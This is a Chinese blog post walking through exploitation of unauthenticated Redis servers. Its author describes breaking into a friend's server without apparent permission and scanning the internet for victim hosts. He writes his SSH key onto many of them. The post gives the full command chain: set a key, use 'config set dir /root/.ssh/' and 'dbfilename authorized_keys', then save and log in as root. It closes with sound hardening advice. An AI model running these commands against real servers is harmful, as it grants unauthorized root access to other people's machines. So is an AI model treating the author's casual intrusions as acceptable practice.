Redis 未授权访问漏洞 复现

Redis 未授权访问漏洞 复现

因为昨天恰好看到了一些以前关于redis漏洞的文章,想起蒋大佬前段时间也在学习redis。我记得他是在服务器上装了redis的。所以就顺手测了一下他的redis,果不其然没设密码。所以就直接把我的ssh公钥写了进去,顺利的把他的服务器给搞到手了,美滋滋。所以就将这个Redis未授权访问漏洞复现了一遍。

先简单介绍一下redis:

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

而写入ssh公钥则是最经典的一种攻击手法,因为在redis以root账户运行的情况下是可以将dir设置到/root/.ssh/目下的,一旦写入成功,也就拿到了root权限。


秉承着 生死看淡,不服就干 的理念。所以在复现这个漏洞的时候,为了方便就写了个脚本在公网上抓了些肉鸡来复现。吐槽一下,有的时候搭漏洞环境也确实有些麻烦。

这张图是我写的脚本在测试公网上扫描到的开放了6379端口的主机哪些是没有设置密码的,即可以未授权访问的。为了不让这些肉鸡被太多人搞,我还是打上了马赛克。。


接下来就开始在linux主机上来复现该漏洞。

先说一下redis-cli 的一些参数:

redis-cli   -h  目标ip地址(默认127.0.01) -p  端口(默认6379) -a  密码

随便找的一些肉鸡,ping成功的话,就会显示PONG。具体看图理解。

首先在本地生产公私钥文件:

ssh-keygen  –t   rsa

一路回车,就会在/root/.ssh/  目录下生成公钥和私钥文件。

然后将公钥写入 zgao.txt 文件中

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")  >  zgao.txt

将zgao.txt的内容用管道符传输给后面,-x 参数就是接受来自于stdin的内容

cat zgao.txt | redis-cli -h 目标ip -x set zgao

设置了一个键名为zgao,而值就是zgao.txt 中的内容。

这里引用一张别人的图。为接下来使用的命令。

redis-cli  -h  目标ip

config set dir /root/.ssh/

如果失败了,那就说明了当前的权限不够。此方法不适用。

config get dir

config set dbfilename "authorized_keys"

save

这里设定了zgao的键值为公钥,并通过redis命令变更Redis DB 文件及存放地点为默认root用户SSH key存放文件,并将键值重定向追加到远程文件authorized_keys的末尾,也就上传了公钥。

这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后直接执行:

sshi  id_rsa root@目标ip

就可以远程利用自己的私钥登录该服务器。因为我已经在很多肉鸡上复现成功了,就不截图了。


修复建议/安全建议

1.禁止一些高危命令,修改 redis.conf 文件,添加

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

2.以低权限运行 Redis 服务

3.为 Redis 添加密码验证修改 redis.conf 文件,添加 requirepass   mypassword

4.禁止外网访问 Redis

5.保证 authorized_keys 文件的安全


ssh登录–公钥登录

SSH提供了公钥登录,可以省去输入密码的步骤。所谓"公钥登录",原理很简单,就是用户将自己的公钥储存在远程主机上。登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。


说一下昨天在复现该漏洞时,踩过的一些坑,也算是总结吧。

  1. 一开始对redis的很多命令不熟,导致在复现时有些地方就很迷惑。就比如上面提到的 -x 参数。所以复现前还是要多查阅资料。推荐一个redis命令参考的网站 http://doc.redisfans.com/
  2. 每个人掌握的知识程度是不同的,我在复现之前也参考前人写的文章。可能别人认为简单的东西,会一笔带过,而自己在复现时却不能忽视这些问题,一定要不清楚的地方明白!   就比如    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")  >  zgao.txt 这条命令。我就在想为什么要加\n? 所以我就反复试验,发现不加就是不行。因为通过dbfilename写入到authorized_keys中是redis的信息的。在对比了肉鸡里的authorized_keys文件和zgao.txt发现,如果没有换行符,redis信息就和ssh公钥的信息拼接到一起了,自然也就无法识别了。所以一定多想想为什么,我相信可能也有人连那个 echo  -e 都不是太明白。把自己不懂的没一点弄明白了那就是学到了。
zgao

如果有什么技术上的问题,可以加我的qq 1761321396 一起交流。

目前为止有一条评论

Docker Remote API未授权访问漏洞复现 – zgao's blog 发布于1:30 下午 - 12月 30, 2019

[…] Redis 未授权访问漏洞 复现 […]